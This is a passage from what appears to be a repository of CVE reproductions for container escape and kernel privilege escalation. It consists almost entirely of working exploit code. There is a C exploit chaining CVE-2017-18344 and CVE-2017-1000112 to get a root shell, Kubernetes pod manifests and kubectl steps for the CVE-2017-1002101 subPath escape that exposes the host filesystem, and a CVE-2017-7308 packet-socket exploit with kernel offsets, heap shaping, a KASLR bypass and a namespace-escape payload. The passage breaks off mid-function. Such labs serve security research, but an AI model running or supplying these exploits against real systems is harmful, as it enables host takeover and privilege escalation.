uint16_t gso_size; // unsigned short 694 | uint16_t gso_segs; // unsigned short 695 | uint16_t gso_type; // unsigned short 696 | uint64_t frag_list; // struct sk_buff * 697 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 698 | uint32_t tskey; // u32 699 | uint32_t ip6_frag_id; // __be32 700 | uint32_t dataref; // atomic_t 701 | uint64_t destructor_arg; // void * 702 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 703 | }; 704 | 705 | struct ubuf_info ui; 706 | 707 | void init_skb_buffer(char* buffer, unsigned long func) { 708 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 709 | memset(ssi, 0, sizeof(*ssi)); 710 | 711 | ssi->tx_flags = 0xff; 712 | ssi->destructor_arg = (uint64_t)&ui; 713 | ssi->nr_frags = 0; 714 | ssi->frag_list = 0; 715 | 716 | ui.callback = func; 717 | } 718 | 719 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 720 | 721 | #define SHINFO_OFFSET 3164 722 | 723 | void oob_execute(unsigned long payload) { 724 | char buffer[4096]; 725 | memset(&buffer[0], 0x42, 4096); 726 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 727 | 728 | int s = socket(PF_INET, SOCK_DGRAM, 0); 729 | if (s == -1) { 730 | perror("[-] socket()"); 731 | exit(EXIT_FAILURE); 732 | } 733 | 734 | struct sockaddr_in addr; 735 | memset(&addr, 0, sizeof(addr)); 736 | addr.sin_family = AF_INET; 737 | addr.sin_port = htons(8000); 738 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 739 | 740 | if (connect(s, (void*)&addr, sizeof(addr))) { 741 | perror("[-] connect()"); 742 | exit(EXIT_FAILURE); 743 | } 744 | 745 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 746 | int rv = send(s, buffer, size, MSG_MORE); 747 | if (rv != size) { 748 | perror("[-] send()"); 749 | exit(EXIT_FAILURE); 750 | } 751 | 752 | int val = 1; 753 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 754 | if (rv != 0) { 755 | perror("[-] setsockopt(SO_NO_CHECK)"); 756 | exit(EXIT_FAILURE); 757 | } 758 | 759 | send(s, buffer, 1, 0); 760 | 761 | close(s); 762 | } 763 | 764 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 765 | 766 | #define CHUNK_SIZE 1024 767 | 768 | int read_file(const char* file, char* buffer, int max_length) { 769 | int f = open(file, O_RDONLY); 770 | if (f == -1) 771 | return -1; 772 | int bytes_read = 0; 773 | while (true) { 774 | int bytes_to_read = CHUNK_SIZE; 775 | if (bytes_to_read > max_length - bytes_read) 776 | bytes_to_read = max_length - bytes_read; 777 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 778 | if (rv == -1) 779 | return -1; 780 | bytes_read += rv; 781 | if (rv == 0) 782 | return bytes_read; 783 | } 784 | } 785 | 786 | #define LSB_RELEASE_LENGTH 1024 787 | 788 | void get_distro_codename(char* output, int max_length) { 789 | char buffer[LSB_RELEASE_LENGTH]; 790 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 791 | if (length == -1) { 792 | perror("[-] open/read(/etc/lsb-release)"); 793 | exit(EXIT_FAILURE); 794 | } 795 | const char *needle = "DISTRIB_CODENAME="; 796 | int needle_length = strlen(needle); 797 | char* found = memmem(&buffer[0], length, needle, needle_length); 798 | if (found == NULL) { 799 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 800 | exit(EXIT_FAILURE); 801 | } 802 | int i; 803 | for (i = 0; found[needle_length + i] != '\n'; i++) { 804 | assert(i < max_length); 805 | assert((found - &buffer[0]) + needle_length + i < length); 806 | output[i] = found[needle_length + i]; 807 | } 808 | } 809 | 810 | void get_kernel_version(char* output, int max_length) { 811 | struct utsname u; 812 | int rv = uname(&u); 813 | if (rv != 0) { 814 | perror("[-] uname())"); 815 | exit(EXIT_FAILURE); 816 | } 817 | assert(strlen(u.release) <= max_length); 818 | strcpy(&output[0], u.release); 819 | } 820 | 821 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 822 | 823 | #define DISTRO_CODENAME_LENGTH 32 824 | #define KERNEL_VERSION_LENGTH 32 825 | 826 | void detect_versions() { 827 | char codename[DISTRO_CODENAME_LENGTH]; 828 | char version[KERNEL_VERSION_LENGTH]; 829 | 830 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 831 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 832 | 833 | int i; 834 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 835 | if (strcmp(&version[0], kernels[i].version) == 0) { 836 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 837 | kernel = i; 838 | return; 839 | } 840 | } 841 | 842 | printf("[-] kernel version not recognized\n"); 843 | exit(EXIT_FAILURE); 844 | } 845 | 846 | #define PROC_CPUINFO_LENGTH 4096 847 | 848 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 849 | int smap_smep_enabled() { 850 | char buffer[PROC_CPUINFO_LENGTH]; 851 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 852 | if (length == -1) { 853 | perror("[-] open/read(/proc/cpuinfo)"); 854 | exit(EXIT_FAILURE); 855 | } 856 | int rv = 0; 857 | char* found = memmem(&buffer[0], length, "smep", 4); 858 | if (found != NULL) 859 | rv += 1; 860 | found = memmem(&buffer[0], length, "smap", 4); 861 | if (found != NULL) 862 | rv += 2; 863 | return rv; 864 | } 865 | 866 | void check_smep_smap() { 867 | int rv = smap_smep_enabled(); 868 | if (rv >= 2) { 869 | printf("[-] SMAP detected, no bypass available\n"); 870 | exit(EXIT_FAILURE); 871 | } 872 | #if !ENABLE_SMEP_BYPASS 873 | if (rv >= 1) { 874 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 875 | exit(EXIT_FAILURE); 876 | } 877 | #endif 878 | } 879 | 880 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 881 | 882 | static bool write_file(const char* file, const char* what, ...) { 883 | char buf[1024]; 884 | va_list args; 885 | va_start(args, what); 886 | vsnprintf(buf, sizeof(buf), what, args); 887 | va_end(args); 888 | buf[sizeof(buf) - 1] = 0; 889 | int len = strlen(buf); 890 | 891 | int fd = open(file, O_WRONLY | O_CLOEXEC); 892 | if (fd == -1) 893 | return false; 894 | if (write(fd, buf, len) != len) { 895 | close(fd); 896 | return false; 897 | } 898 | close(fd); 899 | return true; 900 | } 901 | 902 | void setup_sandbox() { 903 | int real_uid = getuid(); 904 | int real_gid = getgid(); 905 | 906 | if (unshare(CLONE_NEWUSER) != 0) { 907 | printf("[!] unprivileged user namespaces are not available\n"); 908 | perror("[-] unshare(CLONE_NEWUSER)"); 909 | exit(EXIT_FAILURE); 910 | } 911 | if (unshare(CLONE_NEWNET) != 0) { 912 | perror("[-] unshare(CLONE_NEWNET)"); 913 | exit(EXIT_FAILURE); 914 | } 915 | 916 | if (!write_file("/proc/self/setgroups", "deny")) { 917 | perror("[-] write_file(/proc/self/set_groups)"); 918 | exit(EXIT_FAILURE); 919 | } 920 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 921 | perror("[-] write_file(/proc/self/uid_map)"); 922 | exit(EXIT_FAILURE); 923 | } 924 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 925 | perror("[-] write_file(/proc/self/gid_map)"); 926 | exit(EXIT_FAILURE); 927 | } 928 | 929 | cpu_set_t my_set; 930 | CPU_ZERO(&my_set); 931 | CPU_SET(0, &my_set); 932 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 933 | perror("[-] sched_setaffinity()"); 934 | exit(EXIT_FAILURE); 935 | } 936 | 937 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 938 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 939 | exit(EXIT_FAILURE); 940 | } 941 | if (system("/sbin/ifconfig lo up") != 0) { 942 | perror("[-] system(/sbin/ifconfig lo up)"); 943 | exit(EXIT_FAILURE); 944 | } 945 | } 946 | 947 | void exec_shell() { 948 | char* shell = "/bin/bash"; 949 | char* args[] = {shell, "-i", NULL}; 950 | execve(shell, args, NULL); 951 | } 952 | 953 | bool is_root() { 954 | // We can't simple check uid, since we're running inside a namespace 955 | // with uid set to 0. Try opening /etc/shadow instead. 956 | int fd = open("/etc/shadow", O_RDONLY); 957 | if (fd == -1) 958 | return false; 959 | close(fd); 960 | return true; 961 | } 962 | 963 | void check_root() { 964 | printf("[6] checking if we got root\n"); 965 | if (!is_root()) { 966 | printf("[-] something went wrong =(\n"); 967 | return; 968 | } 969 | printf("[+] got r00t ^_^\n"); 970 | exec_shell(); 971 | } 972 | 973 | int main(int argc, char** argv) { 974 | unsigned long int divide_error_addr = 0; 975 | printf("[^] starting\n"); 976 | printf("[=] running KASLR defeat exploit (CVE-2017-18344)\n"); 977 | printf("[0] enumerating divide_error() location (CVE-2017-18344)\n"); 978 | arbitrary_read_init(); 979 | divide_error_addr = read_idt_gate(0); 980 | printf("[+] divide_error is at: %lx\n", divide_error_addr); 981 | 982 | printf("[1] checking distro and kernel versions\n"); 983 | detect_versions(); 984 | printf("[+] done, versions looks good\n"); 985 | KERNEL_BASE = divide_error_addr - kernels[kernel].divide_error; 986 | 987 | printf("[2] checking SMEP and SMAP\n"); 988 | check_smep_smap(); 989 | printf("[+] done, looks good\n"); 990 | 991 | printf("[=] running privilege escalation exploit (CVE-2017-1000112)\n"); 992 | printf("[3] setting up namespace sandbox\n"); 993 | setup_sandbox(); 994 | printf("[+] done, namespace sandbox set up\n"); 995 | 996 | printf("[~] commit_creds: %lx\n", COMMIT_CREDS); 997 | printf("[~] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 998 | 999 | unsigned long payload = (unsigned long)&get_root; 1000 | 1001 | #if ENABLE_SMEP_BYPASS 1002 | printf("[4] SMEP bypass enabled, mmapping fake stack\n"); 1003 | mmap_stack(); 1004 | payload = XCHG_EAX_ESP_RET; 1005 | printf("[+] done, fake stack mmapped\n"); 1006 | #endif 1007 | 1008 | printf("[5] executing payload %lx\n", payload); 1009 | oob_execute(payload); 1010 | printf("[+] done, should be root now\n"); 1011 | 1012 | check_root(); 1013 | 1014 | return 0; 1015 | } -------------------------------------------------------------------------------- /CVEs/CVE-2017-1002101/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-1002101 2 | See: https://github.com/Metarget/cloud-native-security-book/blob/main/appendix/CVE-2017-1002101%EF%BC%9A%E7%AA%81%E7%A0%B4%E9%9A%94%E7%A6%BB%E8%AE%BF%E9%97%AE%E5%AE%BF%E4%B8%BB%E6%9C%BA%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F.pdf 3 | ## Description 4 | CVE-2017-1002101是一个Kubernetes的文件系统逃逸漏洞,允许攻击者使用子路径卷挂载来访问卷空间外的 5 | 文件或目录.Kubernetesv1.3.x、v1.4.x、及低于vl.7.14、vl.8.9和v1.9.4版本的Kubernetes均受到影响。 6 | 7 | ## Usage 8 | 9 | 环境准备 10 | 11 | ```shell 12 | ./metarget cnv install cve-2017-1002101 13 | ``` 14 | 15 | 创建pod 16 | ```shell 17 | kubectl apply -f stage-1-pod.yaml 18 | kubectl exec -it stage-1-container -- ln -s / /vuln/xxx 19 | ``` 20 | 21 | 创建第二个pod 22 | 23 | ```shell 24 | kubectl apply -f stage-2-pod.yaml 25 | ``` 26 | 27 | 到第二个pod中 28 | ```shell 29 | kubectl exec -it stage-2-container -- ls /vuln 30 | ``` 31 | 32 | 列出的是宿主机的根目录 33 | 34 | 报 35 | ``` 36 | [kubelet-check] It seems like the kubelet isn't running or healthy. 37 | [kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10255/healthz' failed with error: Get http://localhost:10255/healthz: dial tcp 127.0.0.1:10255: getsockopt: connection refused. 38 | ``` 39 | 复现失败 40 | ``` 41 | Error response from daemon: Get https://gcr.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) 42 | ``` 43 | 或许上hostvds可以解决? -------------------------------------------------------------------------------- /CVEs/CVE-2017-1002101/stage-1-pod.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: stage-1-container 5 | spec: 6 | containers: 7 | - image: ubuntu 8 | name: stage-1-container 9 | volumeMounts: 10 | - mountPath: /vuln 11 | name: vuln-vol 12 | command: ["sleep"] 13 | args: ["10000"] 14 | volumes: 15 | - name: vuln-vol 16 | hostPath: 17 | path: /tmp/test -------------------------------------------------------------------------------- /CVEs/CVE-2017-1002101/stage-2-pod.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: stage-2-container 5 | spec: 6 | containers: 7 | - image: ubuntu 8 | name: stage-2-container 9 | volumeMounts: 10 | - mountPath: /vuln 11 | name: vuln-vol 12 | subPath: xxx 13 | command: ["sleep"] 14 | args: ["10000"] 15 | volumes: 16 | - name: vuln-vol 17 | hostPath: 18 | path: /tmp/test -------------------------------------------------------------------------------- /CVEs/CVE-2017-7308/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt clean && apt update && apt install ca-certificates && apt-get update && apt-get install appstream -y && apt-get install net-tools -y 4 | COPY poc / 5 | RUN chmod a+x poc 6 | 7 | CMD /bin/bash -------------------------------------------------------------------------------- /CVEs/CVE-2017-7308/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-7308 2 | ## Description 3 | See: https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2017-7308 4 | See also: https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-7308 5 | 6 | ## Exploit 7 | 8 | ```shell 9 | ./metarget cnv install cve-2017-7308 --verbose 10 | ``` 11 | 12 | 构建容器 13 | ```shell 14 | gcc -o poc poc.c 15 | docker build -t exp . 16 | docker run -it --rm exp 17 | ``` 18 | 19 | 在容器中: 20 | ```shell 21 | /poc 22 | ``` 23 | -------------------------------------------------------------------------------- /CVEs/CVE-2017-7308/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define ENABLE_KASLR_BYPASS 1 31 | #define ENABLE_SMEP_SMAP_BYPASS 1 32 | 33 | // Will be overwritten if ENABLE_KASLR_BYPASS 34 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 35 | 36 | // Kernel symbol offsets 37 | #define COMMIT_CREDS 0xa5d50ul 38 | #define PREPARE_KERNEL_CRED 0xa6140ul 39 | #define NATIVE_WRITE_CR4 0x64210ul 40 | 41 | #define FIND_TASK_BY_VPID 0xa2240ul 42 | #define SWITCH_TASK_NAMESPACES 0xa4d60ul 43 | #define DO_SYS_OPEN 0x2315a0ul 44 | #define SYS_SETNS 0xa4df0ul 45 | 46 | #define INIT_NSPROXY 0xe49F40ul 47 | 48 | // Should have SMEP and SMAP bits disabled 49 | #define CR4_DESIRED_VALUE 0x407f0ul 50 | 51 | #define KMALLOC_PAD 512 52 | #define PAGEALLOC_PAD 1024 53 | 54 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 55 | 56 | typedef uint32_t u32; 57 | 58 | // $ pahole -C hlist_node ./vmlinux 59 | struct hlist_node { 60 | struct hlist_node * next; /* 0 8 */ 61 | struct hlist_node * * pprev; /* 8 8 */ 62 | }; 63 | 64 | // $ pahole -C timer_list ./vmlinux 65 | struct timer_list { 66 | struct hlist_node entry; /* 0 16 */ 67 | long unsigned int expires; /* 16 8 */ 68 | void (*function)(long unsigned int); /* 24 8 */ 69 | long unsigned int data; /* 32 8 */ 70 | u32 flags; /* 40 4 */ 71 | int start_pid; /* 44 4 */ 72 | void * start_site; /* 48 8 */ 73 | char start_comm[16]; /* 56 16 */ 74 | }; 75 | 76 | // packet_sock->rx_ring->prb_bdqc->retire_blk_timer 77 | #define TIMER_OFFSET 896 78 | 79 | // pakcet_sock->xmit 80 | #define XMIT_OFFSET 1304 81 | 82 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 83 | 84 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 85 | unsigned int frame_size, unsigned int block_nr, 86 | unsigned int sizeof_priv, unsigned int timeout) { 87 | int v = TPACKET_V3; 88 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 89 | if (rv < 0) { 90 | perror("[-] setsockopt(PACKET_VERSION)"); 91 | exit(EXIT_FAILURE); 92 | } 93 | 94 | struct tpacket_req3 req; 95 | memset(&req, 0, sizeof(req)); 96 | req.tp_block_size = block_size; 97 | req.tp_frame_size = frame_size; 98 | req.tp_block_nr = block_nr; 99 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 100 | req.tp_retire_blk_tov = timeout; 101 | req.tp_sizeof_priv = sizeof_priv; 102 | req.tp_feature_req_word = 0; 103 | 104 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 105 | if (rv < 0) { 106 | perror("[-] setsockopt(PACKET_RX_RING)"); 107 | exit(EXIT_FAILURE); 108 | } 109 | } 110 | 111 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 112 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 113 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 114 | if (s < 0) { 115 | perror("[-] socket(AF_PACKET)"); 116 | exit(EXIT_FAILURE); 117 | } 118 | 119 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 120 | sizeof_priv, timeout); 121 | 122 | struct sockaddr_ll sa; 123 | memset(&sa, 0, sizeof(sa)); 124 | sa.sll_family = PF_PACKET; 125 | sa.sll_protocol = htons(ETH_P_ALL); 126 | sa.sll_ifindex = if_nametoindex("lo"); 127 | sa.sll_hatype = 0; 128 | sa.sll_pkttype = 0; 129 | sa.sll_halen = 0; 130 | 131 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 132 | if (rv < 0) { 133 | perror("[-] bind(AF_PACKET)"); 134 | exit(EXIT_FAILURE); 135 | } 136 | 137 | return s; 138 | } 139 | 140 | void packet_socket_send(int s, char *buffer, int size) { 141 | struct sockaddr_ll sa; 142 | memset(&sa, 0, sizeof(sa)); 143 | sa.sll_ifindex = if_nametoindex("lo"); 144 | sa.sll_halen = ETH_ALEN; 145 | 146 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 147 | sizeof(sa)) < 0) { 148 | perror("[-] sendto(SOCK_RAW)"); 149 | exit(EXIT_FAILURE); 150 | } 151 | } 152 | 153 | void loopback_send(char *buffer, int size) { 154 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 155 | if (s == -1) { 156 | perror("[-] socket(SOCK_RAW)"); 157 | exit(EXIT_FAILURE); 158 | } 159 | 160 | packet_socket_send(s, buffer, size); 161 | } 162 | 163 | int packet_sock_kmalloc() { 164 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 165 | if (s == -1) { 166 | perror("[-] socket(SOCK_DGRAM)"); 167 | exit(EXIT_FAILURE); 168 | } 169 | return s; 170 | } 171 | 172 | void packet_sock_timer_schedule(int s, int timeout) { 173 | packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); 174 | } 175 | 176 | void packet_sock_id_match_trigger(int s) { 177 | char buffer[16]; 178 | packet_socket_send(s, &buffer[0], sizeof(buffer)); 179 | } 180 | 181 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 182 | 183 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 184 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 185 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 186 | 187 | #define V3_ALIGNMENT (8) 188 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 189 | 190 | #define ETH_HDR_LEN sizeof(struct ethhdr) 191 | #define IP_HDR_LEN sizeof(struct iphdr) 192 | #define UDP_HDR_LEN sizeof(struct udphdr) 193 | 194 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 195 | 196 | int oob_setup(int offset) { 197 | unsigned int maclen = ETH_HDR_LEN; 198 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 199 | (maclen < 16 ? 16 : maclen)); 200 | unsigned int macoff = netoff - maclen; 201 | unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 202 | 0x8000 - BLK_HDR_LEN - macoff + offset; 203 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 204 | } 205 | 206 | void oob_write(char *buffer, int size) { 207 | loopback_send(buffer, size); 208 | } 209 | 210 | void oob_timer_execute(void *func, unsigned long arg) { 211 | oob_setup(2048 + TIMER_OFFSET - 8); 212 | 213 | int i; 214 | for (i = 0; i < 32; i++) { 215 | int timer = packet_sock_kmalloc(); 216 | packet_sock_timer_schedule(timer, 1000); 217 | } 218 | 219 | char buffer[2048]; 220 | memset(&buffer[0], 0, sizeof(buffer)); 221 | 222 | struct timer_list *timer = (struct timer_list *)&buffer[8]; 223 | timer->function = func; 224 | timer->data = arg; 225 | timer->flags = 1; 226 | 227 | oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 228 | 229 | sleep(1); 230 | } 231 | 232 | void oob_id_match_execute(void *func) { 233 | int s = oob_setup(2048 + XMIT_OFFSET - 64); 234 | 235 | int ps[32]; 236 | 237 | int i; 238 | for (i = 0; i < 32; i++) 239 | ps[i] = packet_sock_kmalloc(); 240 | 241 | char buffer[2048]; 242 | memset(&buffer[0], 0, 2048); 243 | 244 | void **xmit = (void **)&buffer[64]; 245 | *xmit = func; 246 | 247 | oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); 248 | 249 | for (i = 0; i < 32; i++) 250 | packet_sock_id_match_trigger(ps[i]); 251 | } 252 | 253 | // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * 254 | 255 | void kmalloc_pad(int count) { 256 | int i; 257 | for (i = 0; i < count; i++) 258 | packet_sock_kmalloc(); 259 | } 260 | 261 | void pagealloc_pad(int count) { 262 | packet_socket_setup(0x8000, 2048, count, 0, 100); 263 | } 264 | 265 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 266 | 267 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 268 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 269 | typedef unsigned long __attribute__((regparm(3))) (* _find_task_vpid)(pid_t vnr); 270 | typedef unsigned long __attribute__((regparm(3))) (* _switch_task_namespaces)(void * p, void *new); 271 | typedef long __attribute__((regparm(4))) (* _do_sys_open)(int dfd, char *filename, int flags, unsigned short mode); 272 | typedef unsigned long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype); 273 | 274 | void get_root_payload(void) { 275 | 276 | unsigned long long g = ((_find_task_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1); 277 | 278 | // now, do the magic.... !!!! Simple black magic doesn't work on current process!!!! 279 | ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NAMESPACES))(( void *)g, (void *)(KERNEL_BASE + INIT_NSPROXY)); 280 | 281 | 282 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 283 | ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) 284 | ); 285 | 286 | // prepare the two namespace FDs by opening the respective files 287 | long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0); 288 | ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0); 289 | 290 | fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0); 291 | ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0); 292 | 293 | 294 | } 295 | 296 | // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * 297 | 298 | #define SYSLOG_ACTION_READ_ALL 3 299 | #define SYSLOG_ACTION_SIZE_BUFFER 10 300 | 301 | unsigned long get_kernel_addr() { 302 | int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 303 | if (size == -1) { 304 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 305 | exit(EXIT_FAILURE); 306 | } 307 | 308 | size = (size / getpagesize() + 1) * getpagesize(); 309 | char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, 310 | MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 311 | 312 | size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); 313 | if (size == -1) { 314 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 315 | exit(EXIT_FAILURE); 316 | } 317 | 318 | const char *needle1 = "Freeing SMP"; 319 | char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); 320 | if (substr == NULL) { 321 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); 322 | exit(EXIT_FAILURE); 323 | } 324 | 325 | for (size = 0; substr[size] != '\n'; size++); 326 | 327 | const char *needle2 = "ffff"; 328 | substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); 329 | if (substr == NULL) { 330 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); 331 | exit(EXIT_FAILURE); 332 | } 333 | 334 | char *endptr = &substr[16]; 335 | unsigned long r = strtoul(&substr[0], &endptr, 16); 336 | 337 | r &= 0xfffffffffff00000ul; 338 | r -= 0x1000000ul; 339 | 340 | return r; 341 | } 342 | 343 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 344 | 345 | void exec_shell() { 346 | char *shell = "/bin/bash"; 347 | char *args[] = {shell, "-i", NULL}; 348 | execve(shell, args, NULL); 349 | } 350 | 351 | void fork_shell() { 352 | pid_t rv; 353 | 354 | rv = fork(); 355 | if (rv == -1) { 356 | perror("[-] fork()"); 357 | exit(EXIT_FAILURE); 358 | } 359 | 360 | if (rv == 0) { 361 | exec_shell(); 362 | } 363 | } 364 | 365 | bool is_root() { 366 | // We can't simple check uid, since we're running inside a namespace 367 | // with uid set to 0. Try opening /etc/shadow instead. 368 | int fd = open("/etc/shadow", O_RDONLY); 369 | if (fd == -1) 370 | return false; 371 | close(fd); 372 | return true; 373 | } 374 | 375 | void check_root() { 376 | printf("[.] checking if we got root\n"); 377 | 378 | if (!is_root()) { 379 | printf("[-] something went wrong =(\n"); 380 | return; 381 | } 382 | 383 | printf("[+] got r00t ^_^\n"); 384 | 385 | // Fork and exec instead of just doing the exec to avoid potential 386 | // memory corruptions when closing packet sockets. 387 | exec_shell(); 388 | } 389 | 390 | bool write_file(const char* file, const char* what, ...) { 391 | char buf[1024]; 392 | va_list args; 393 | va_start(args, what); 394 | vsnprintf(buf, sizeof(buf), what, args); 395 | va_end(args); 396 | buf[sizeof(buf) - 1] = 0; 397 | int len = strlen(buf); 398 | 399 | int fd = open(file, O_WRONLY | O_CLOEXEC); 400 | if (fd == -1) 401 | return false; 402 | if (write(fd, buf, len) != len) { 403 | close(fd); 404 | return false; 405 | } 406 | close(fd); 407 | return true; 408 | } 409 | 410 | void setup_sandbox() { 411 | int real_uid = getuid(); 412 | int real_gid = getgid(); 413 | 414 | if (unshare(CLONE_NEWUSER) != 0) { 415 | perror("[-] unshare(CLONE_NEWUSER)"); 416 | exit(EXIT_FAILURE); 417 | } 418 | 419 | if (unshare(CLONE_NEWNET) != 0) { 420 | perror("[-] unshare(CLONE_NEWNET)"); 421 | exit(EXIT_FAILURE); 422 | } 423 | 424 | if (!write_file("/proc/self/setgroups", "deny")) { 425 | perror("[-] write_file(/proc/self/set_groups)"); 426 | exit(EXIT_FAILURE); 427 | } 428 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 429 | perror("[-] write_file(/proc/self/uid_map)"); 430 | exit(EXIT_FAILURE); 431 | } 432 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 433 | perror("[-] write_file(/proc/self/gid_map)"); 434 | exit(EXIT_FAILURE); 435 | } 436 | 437 | cpu_set_t my_set; 438 | CPU_ZERO(&my_set); 439 | CPU_SET(0, &my_set); 440 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 441 | perror("[-] sched_setaffinity()"); 442 | exit(EXIT_FAILURE); 443 | } 444 | 445 | if (system("/sbin/ifconfig lo up") != 0) { 446 | perror("[-] system(/sbin/ifconfig lo up)"); 447 | exit(EXIT_FAILURE); 448 | } 449 | } 450 | 451 | int main() { 452 | printf("[.] starting\n"); 453 | 454 | //setup_sandbox(); 455 | 456 | printf("[.] namespace sandbox set up\n"); 457 | 458 | #if ENABLE_KASLR_BYPASS 459 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 460 | KERNEL_BASE = get_kernel_addr(); 461 | printf("[.] done, kernel text: %lx\n", 